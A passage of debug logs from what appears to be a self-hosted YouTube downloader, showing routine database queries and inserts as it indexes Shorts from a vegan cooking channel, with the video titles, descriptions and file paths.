QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:39.480 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [856] 20:30:39.480 [debug] Current batch of media processed. Will check again in 1000ms 20:30:40.481 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This is the perfect dessert for Mother's Day or any special occasion really. It's a vegan, gluten-free, no refined sugar chocolate avocado cream pie. No guilt right? The crust is my favourite part and I'm not even someone who likes to eat the crust at the end. \n\nCheck out the full recipe video here: https://youtu.be/8GSEsZWhkhs", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts/Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts [FDFX3e6FnmQ].NA", "id" => "FDFX3e6FnmQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FDFX3e6FnmQ", "playlist_index" => 468, "timestamp" => 1651971102, "title" => "Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts", "upload_date" => "20220508"} 20:30:40.482 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:40.483 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:40.486 [debug] QUERY OK source="media_items" db=2.9ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 00:51:42Z], 1] 20:30:40.487 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is the perfect dessert for Mother's Day or any special occasion really. It's a vegan, gluten-free, no refined sugar chocolate avocado cream pie. No guilt right? The crust is my favourite part and I'm not even someone who likes to eat the crust at the end. \n\nCheck out the full recipe video here: https://youtu.be/8GSEsZWhkhs", "Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts", "02cc6990-7d65-4e08-a60c-02790115a6a1", 1, [], 30, false, "FDFX3e6FnmQ", "https://www.youtube.com/shorts/FDFX3e6FnmQ", 468, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts/Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts [FDFX3e6FnmQ].NA", false, false, true, 2, ~U[2022-05-08 00:51:42Z], ~U[2026-03-22 03:30:40Z], ~U[2026-03-22 03:30:40Z], "This is the perfect dessert for Mother's Day or any special occasion really. It's a vegan, gluten-free, no refined sugar chocolate avocado cream pie. No guilt right? The crust is my favourite part and I'm not even someone who likes to eat the crust at the end. \n\nCheck out the full recipe video here: https://youtu.be/8GSEsZWhkhs", "Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts", 1, 30, false, "FDFX3e6FnmQ", "https://www.youtube.com/shorts/FDFX3e6FnmQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts/Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts [FDFX3e6FnmQ].NA", true, ~U[2022-05-08 00:51:42Z]] 20:30:40.488 [debug] QUERY OK source="sources" db=0.3ms idle=795.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:40.488 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:40.489 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [857] 20:30:40.489 [debug] Current batch of media processed. Will check again in 1000ms 20:30:41.490 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This is how I convinced my meat-eating husband to eat a vegan plant-based diet. He's now eaten plant-based vegan for 5 years and I've been eating this way for 7 and it has changed our lives.\n\nPS. I didn't actually force him to the ground and feed him vegetables. \n\nCheck out the full video here: https://youtu.be/wp9Znjx6GlA\n\nSubscribe for over 50 videos about vegan recipes, gluten free recipes, vegan food challenges, and vegan food adventures.", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-07 HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts/HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts [MaEFSyUKMX4].NA", "id" => "MaEFSyUKMX4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MaEFSyUKMX4", "playlist_index" => 469, "timestamp" => 1651914019, "title" => "HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts", "upload_date" => "20220507"} 20:30:41.491 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:41.492 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:41.494 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-07 09:00:19Z], 1] 20:30:41.495 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is how I convinced my meat-eating husband to eat a vegan plant-based diet. He's now eaten plant-based vegan for 5 years and I've been eating this way for 7 and it has changed our lives.\n\nPS. I didn't actually force him to the ground and feed him vegetables. \n\nCheck out the full video here: https://youtu.be/wp9Znjx6GlA\n\nSubscribe for over 50 videos about vegan recipes, gluten free recipes, vegan food challenges, and vegan food adventures.", "HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts", "aa678512-04e9-4be5-92f3-af4d7b4a3fc5", 1, [], 15, false, "MaEFSyUKMX4", "https://www.youtube.com/shorts/MaEFSyUKMX4", 469, "/downloads/downloads/alec/Steamy Vegan/2022-05-07 HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts/HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts [MaEFSyUKMX4].NA", false, false, true, 0, ~U[2022-05-07 09:00:19Z], ~U[2026-03-22 03:30:41Z], ~U[2026-03-22 03:30:41Z], "This is how I convinced my meat-eating husband to eat a vegan plant-based diet. He's now eaten plant-based vegan for 5 years and I've been eating this way for 7 and it has changed our lives.\n\nPS. I didn't actually force him to the ground and feed him vegetables. \n\nCheck out the full video here: https://youtu.be/wp9Znjx6GlA\n\nSubscribe for over 50 videos about vegan recipes, gluten free recipes, vegan food challenges, and vegan food adventures.", "HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts", 1, 15, false, "MaEFSyUKMX4", "https://www.youtube.com/shorts/MaEFSyUKMX4", "/downloads/downloads/alec/Steamy Vegan/2022-05-07 HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts/HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts [MaEFSyUKMX4].NA", true, ~U[2022-05-07 09:00:19Z]] 20:30:41.496 [debug] QUERY OK source="sources" db=0.5ms idle=800.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:41.496 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:41.497 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [858] 20:30:41.497 [debug] Current batch of media processed. Will check again in 1000ms 20:30:42.498 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out all the EPIC VEGAN FOOD we ate on Bowen Island! From pizza to truffle fries, ice cream, tacos, and more, you GOTTA check out the full videos below!\n\nOUR TOP VEGAN GLUTEN-FREE OPTIONS ON BOWEN: https://youtu.be/OX3BXyo6XV8\nWHAT I ATE ON BOWEN ISLAND (FULL VLOG): https://youtu.be/nu4z1cbo8QQ\n\nBLOG: https://steamyvegankitchen.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=steamyvegan \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-06 All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝/All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝 [TfMejTHNHwE].NA", "id" => "TfMejTHNHwE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TfMejTHNHwE", "playlist_index" => 470, "timestamp" => 1651859729, "title" => "All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝", "upload_date" => "20220506"} 20:30:42.499 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:42.500 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:42.503 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-06 17:55:29Z], 1] 20:30:42.505 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out all the EPIC VEGAN FOOD we ate on Bowen Island! From pizza to truffle fries, ice cream, tacos, and more, you GOTTA check out the full videos below!\n\nOUR TOP VEGAN GLUTEN-FREE OPTIONS ON BOWEN: https://youtu.be/OX3BXyo6XV8\nWHAT I ATE ON BOWEN ISLAND (FULL VLOG): https://youtu.be/nu4z1cbo8QQ\n\nBLOG: https://steamyvegankitchen.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=steamyvegan \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488", "All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝", "2026a7cd-f7bd-4a86-a367-e3cf5e9fba9b", 1, [], 15, false, "TfMejTHNHwE", "https://www.youtube.com/shorts/TfMejTHNHwE", 470, "/downloads/downloads/alec/Steamy Vegan/2022-05-06 All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝/All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝 [TfMejTHNHwE].NA", false, false, true, 0, ~U[2022-05-06 17:55:29Z], ~U[2026-03-22 03:30:42Z], ~U[2026-03-22 03:30:42Z], "Check out all the EPIC VEGAN FOOD we ate on Bowen Island! From pizza to truffle fries, ice cream, tacos, and more, you GOTTA check out the full videos below!\n\nOUR TOP VEGAN GLUTEN-FREE OPTIONS ON BOWEN: https://youtu.be/OX3BXyo6XV8\nWHAT I ATE ON BOWEN ISLAND (FULL VLOG): https://youtu.be/nu4z1cbo8QQ\n\nBLOG: https://steamyvegankitchen.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=steamyvegan \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488", "All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝", 1, 15, false, "TfMejTHNHwE", "https://www.youtube.com/shorts/TfMejTHNHwE", "/downloads/downloads/alec/Steamy Vegan/2022-05-06 All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝/All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝 [TfMejTHNHwE].NA", true, ~U[2022-05-06 17:55:29Z]] 20:30:42.505 [debug] QUERY OK source="sources" db=0.4ms idle=808.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:42.506 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:42.507 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [859] 20:30:42.508 [debug] Current batch of media processed. Will check again in 1000ms 20:30:43.509 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "That's right, we jam packed all that epic goodness into a grilled cheese - did we mention it's VEGAN and GLUTEN-FREE?! \n\nIf you want to see all the others we came up with, definitely watch the FULL VIDEO of our Cheat Day Challenge below!\nhttps://youtu.be/2PBpb8LJWwE", "duration" => 17, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-05 Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯/Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯 [VsxQvoWHSHU].NA", "id" => "VsxQvoWHSHU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/VsxQvoWHSHU", "playlist_index" => 471, "timestamp" => 1651766365, "title" => "Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯", "upload_date" => "20220505"} 20:30:43.512 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:43.513 [debug] QUERY OK source="sources" db=0.9ms idle=1006.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:43.517 [debug] QUERY OK source="media_items" db=3.3ms queue=0.3ms idle=1006.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-05 15:59:25Z], 1] 20:30:43.519 